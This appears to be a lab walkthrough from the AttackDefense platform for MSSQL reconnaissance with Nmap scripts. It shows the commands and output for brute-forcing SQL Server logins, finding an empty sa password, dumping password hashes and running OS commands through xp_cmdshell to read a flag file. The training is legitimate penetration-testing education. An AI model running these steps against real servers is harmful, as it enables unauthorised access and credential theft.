

[illegible]

Name	Recon: MSSQL: Nmap Scripts
URL	https://attackdefense.com/challengedetails?cid=2313
Type	Windows Recon: MSSQL

Important Note: This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic. Also, note that the IP addresses and domain names might be different in your lab.

Step 1: Checking the target IP address.

Note: The target IP address is stored in the “**target**” file.

Command: cat /root/Desktop/target

```
root@attackdefense:~# zsh
(root@attackdefense) - [~]
# cat /root/Desktop/target
Target IP Address : 10.0.30.33
(root@attackdefense) - [~]
#
```

Step 2: Run a Nmap scan against the target IP.

Command: nmap 10.0.30.33

```
(root@attackdefense) - [~]
# nmap 10.0.30.33
Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-21 15:07 IST
Nmap scan report for ip-10-0-30-33.ap-southeast-1.compute.internal (10.0.30.33)
Host is up (0.0013s latency).
Not shown: 995 closed ports
PORT      STATE SERVICE
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
1433/tcp  open  ms-sql-s
3389/tcp  open  ms-wbt-server

Nmap done: 1 IP address (1 host up) scanned in 1.76 seconds

(root@attackdefense) - [~]
#
```

Step 3: We have discovered that multiple ports are open. We will be focusing on port 1433 where the MSSQL server is running.

Running ms-sql-info nmap script to discover MSSQL server information.

Command: nmap --script ms-sql-info -p 1433 10.0.30.33

```
(root@attackdefense) - [~]
# nmap --script ms-sql-info -p 1433 10.0.30.33
Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-21 15:10 IST
Nmap scan report for ip-10-0-30-33.ap-southeast-1.compute.internal (10.0.30.33)
Host is up (0.0024s latency).

PORT      STATE SERVICE
1433/tcp  open  ms-sql-s

Host script results:
| ms-sql-info:
|   10.0.30.33:1433:
|     Version:
|       name: Microsoft SQL Server 2019 RTM
|       number: 15.00.2000.00
|       Product: Microsoft SQL Server 2019
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433

Nmap done: 1 IP address (1 host up) scanned in 0.39 seconds

(root@attackdefense) - [~]
#
```

We have found that the target is running “**Microsoft SQL Server 2019**”.

Step 4: Running ms-sql-ntlm-info script to disclose more information.

“Sending an MS-TDS NTLM authentication request with an invalid domain and null credentials will cause the remote service to respond with an NTLMSSP message disclosing information to include NetBIOS, DNS, and OS build version.”

Source [ms-sql-ntlm-info](#).

Command: nmap -p 1433 --script ms-sql-ntlm-info --script-args mssql.instance-port=1433 10.0.30.33

```
(root@attackdefense) - [~]
# nmap -p 1433 --script ms-sql-ntlm-info --script-args mssql.instance-port=1433 10.0.30.33

Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-21 15:11 IST
Nmap scan report for ip-10-0-30-33.ap-southeast-1.compute.internal (10.0.30.33)
Host is up (0.0015s latency).

PORT      STATE SERVICE
1433/tcp  open  ms-sql-s
| ms-sql-ntlm-info:
|   Target_Name: MSSQL-SERVER
|   NetBIOS_Domain_Name: MSSQL-SERVER
|   NetBIOS_Computer_Name: MSSQL-SERVER
|   DNS_Domain_Name: MSSQL-Server
|   DNS_Computer_Name: MSSQL-Server
|_  Product_Version: 10.0.14393

Nmap done: 1 IP address (1 host up) scanned in 0.36 seconds

(root@attackdefense) - [~]
#
```

Step 5: Identifying valid MSSQL users and their passwords using provided username and password list.

Command: nmap -p 1433 --script ms-sql-brute --script-args userdb=/root/Desktop/wordlist/common_users.txt,passdb=/root/Desktop/wordlist/100-common-passwords.txt 10.0.30.33

```

(root@attackdefense)~# nmap -p 1433 --script ms-sql-brute --script-args userdb=/root/Desktop/wordlist/common_users.txt,passdb=/root/Desktop/wordlist/100-common-passwords.txt 10.0.30.33

Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-21 15:13 IST
Nmap scan report for ip-10-0-30-33.ap-southeast-1.compute.internal (10.0.30.33)
Host is up (0.0060s latency).

PORT      STATE SERVICE
1433/tcp  open  ms-sql-s
| ms-sql-brute:
| [10.0.30.33:1433]
|_ Credentials found:
|   dbadmin:bubbles1 => Login Success
|   auditor:jasmine1 => Login Success
|_   admin:anamaria => Login Success

Nmap done: 1 IP address (1 host up) scanned in 2.47 seconds

(root@attackdefense)~#

```

Step 6: Running ms-sql-empty-password nmap script to check if sa user is enabled without any password.

Command: nmap -p 1433 --script ms-sql-empty-password 10.0.30.33

```

(root@attackdefense)~# nmap -p 1433 --script ms-sql-empty-password 10.0.30.33
Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-21 15:18 IST
Nmap scan report for ip-10-0-30-33.ap-southeast-1.compute.internal (10.0.30.33)
Host is up (0.0016s latency).

PORT      STATE SERVICE
1433/tcp  open  ms-sql-s
| ms-sql-empty-password:
| [10.0.30.33:1433]
|_   sa:<empty> => Login Success

Nmap done: 1 IP address (1 host up) scanned in 0.37 seconds

(root@attackdefense)~#

```

The sa user is enabled with <empty> - No Password.

Step 7: Extracting sysusers from MSSQL and storing the output in a file i.e output.txt


```
(root@attackdefense) ~
# nmap -p 1433 --script ms-sql-dump-hashes --script-args mssql.username=admin,mssql.password=anamaria 10.0.30.33

Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-21 15:31 IST
Nmap scan report for ip-10-0-30-33.ap-southeast-1.compute.internal (10.0.30.33)
Host is up (0.0017s latency).

PORT      STATE SERVICE
1433/tcp  open  ms-sql-s
| ms-sql-dump-hashes:
| [10.0.30.33:1433]
|   sa:0x02009818a9840f252b9af1ece8e548aa363bae4787e885d5204dae8554af72896898920b1cc347bc3882e45935ce7e615cecd4e333c8f36cb21239836c419
8314b7ab517a6f2
|   ##MS_PolicyEventProcessingLogin##:0x0200191cf079f310fb475527ac320aba7a4e8d5c3567bef2462b96ce8a8629b7f986ed344aa0963ac3a096da77056d
ad77a457644431282e2aa2c2243bc635abc6bb5f52552c
|   ##MS_PolicyTsqlExecutionLogin##:0x0200677385acfe08bb1119246cf20f9d17c3a0d86bbb1d48874725f2c2e0e021260b885d0ba067427e09afad9079e675
9ad6497ee7f1ef3cd497d500585d7727eeba64426083
|   admin:0x02003814edd67dcab815b733d877a0fe7ec3470185864bd673c7273ba76c31e000c15e9fae25a826f6ba03892e37d6a1acae17f171d21dad7b20d874cc
c259bbf9fa2230b9c0
|   Mssql:0x02001786154bb350ac708b5a4c3fc6b90dc68418a13ba5fcb76b155f8eee14d72988edb559d9a2d0d6fd5dd25b1fab8431c0ca424d747a5743624c30aa
772b40c8f23c66e6a4
|   Mssqla:0x0200987f06858112a7fa0c70fe3f53c64061b35ae864782fc9cfcdca3954ed60ca7e47e8497a571d177edb596f125cb529d7b2753e4d8e913c2b127a12
207e3bcb75f70e29cb5
|   auditor:0x020061cbe8509dfea47fbc20be854c4ac517bf6aa67f9f7c12d7d1efb1f500be279643c6cd19d370f9eff4f2d9b981a16f6916bc4534e8ba42d718f8
b908fbfffb40d5cc1a5e
|   dbadmin:0x02000d6c6a0d55f536f9dbff2d8cc1e0965c550e1a1a1e7c6df8b7e6534ab817408f86dd9592b206862c4b7a3d1f6ca85f439360171d7c5143d6fba8
606675dbaf5bea40d15b

Nmap done: 1 IP address (1 host up) scanned in 0.35 seconds
```

Step 9: Execute a command using [xp_cmdshell](#) using Nmap script.

Command: `nmap -p 1433 --script ms-sql-xp-cmdshell --script-args mssql.username=admin,mssql.password=anamaria,ms-sql-xp-cmdshell.cmd="ipconfig" 10.0.30.33`


```

(root@attackdefense)~]
# nmap -p 1433 --script ms-sql-xp-cmdshell --script-args mssql.username=admin,mssql.password=anamaria,ms-sql-xp-cmdshell.cmd="ipconfig" 10.0.30.33
Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-21 15:32 IST
Nmap scan report for ip-10-0-30-33.ap-southeast-1.compute.internal (10.0.30.33)
Host is up (0.0016s latency).

PORT      STATE SERVICE
1433/tcp  open  ms-sql-s
| ms-sql-xp-cmdshell:
| [10.0.30.33:1433]
|   Command: ipconfig
|   output
|   =====
|   Null
|   Windows IP Configuration
|   Null
|   Null
|   Ethernet adapter Ethernet:
|   Null
|     Connection-specific DNS Suffix  . : ap-southeast-1.compute.internal
|     Link-local IPv6 Address . . . . . : fe80::6019:8b0d:b012:715f%3
|     IPv4 Address. . . . . : 10.0.30.33
|     Subnet Mask . . . . . : 255.255.240.0
|     Default Gateway . . . . . : 10.0.16.1
|   Null
|   Tunnel adapter Local Area Connection* 3:
|   Null
|     Connection-specific DNS Suffix  . :
|     IPv6 Address. . . . . : 2001:0:2851:782c:14f0:b65:f5ff:e1de
|     Link-local IPv6 Address . . . . . : fe80::14f0:b65:f5ff:e1de%6
|     Default Gateway . . . . . : ::
|   Null
|   Tunnel adapter isatap.ap-southeast-1.compute.internal:
|   Null
|     Media State . . . . . : Media disconnected
|     Connection-specific DNS Suffix  . : ap-southeast-1.compute.internal

```

Note: We can execute remote on the target server because MSSQL service is configured with xp_cmdshell enabled, by default it is disabled.

Step 10: Reading the flag using xp_cmdshell.

Command: nmap -p 1433 --script ms-sql-xp-cmdshell --script-args mssql.username=admin,mssql.password=anamaria,ms-sql-xp-cmdshell.cmd="type c:\flag.txt" 10.0.30.33

```
(root@attackdefense) - [~]
# nmap -p 1433 --script ms-sql-xp-cmdshell --script-args mssql.username=admin,mssql.password=anamaria,ms-sql-xp-cmdshell.cmd=
"type c:\flag.txt" 10.0.30.33

Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-21 15:33 IST
Nmap scan report for ip-10-0-30-33.ap-southeast-1.compute.internal (10.0.30.33)
Host is up (0.0016s latency).

PORT      STATE SERVICE
1433/tcp  open  ms-sql-s
| ms-sql-xp-cmdshell:
| [10.0.30.33:1433]
|   Command: type c:\flag.txt
|   output
|   =====
|_  1d1803570245aa620446518b2154f324

Nmap done: 1 IP address (1 host up) scanned in 0.39 seconds

(root@attackdefense) - [~]
#
```

Flag: 1d1803570245aa620446518b2154f324

References:

1. MSSQL (<https://www.microsoft.com/en-in/sql-server/sql-server-2019>)
2. Nmap (<https://nmap.org/>)
3. Nmap scripts (<https://nmap.org/nsedoc/scripts/>)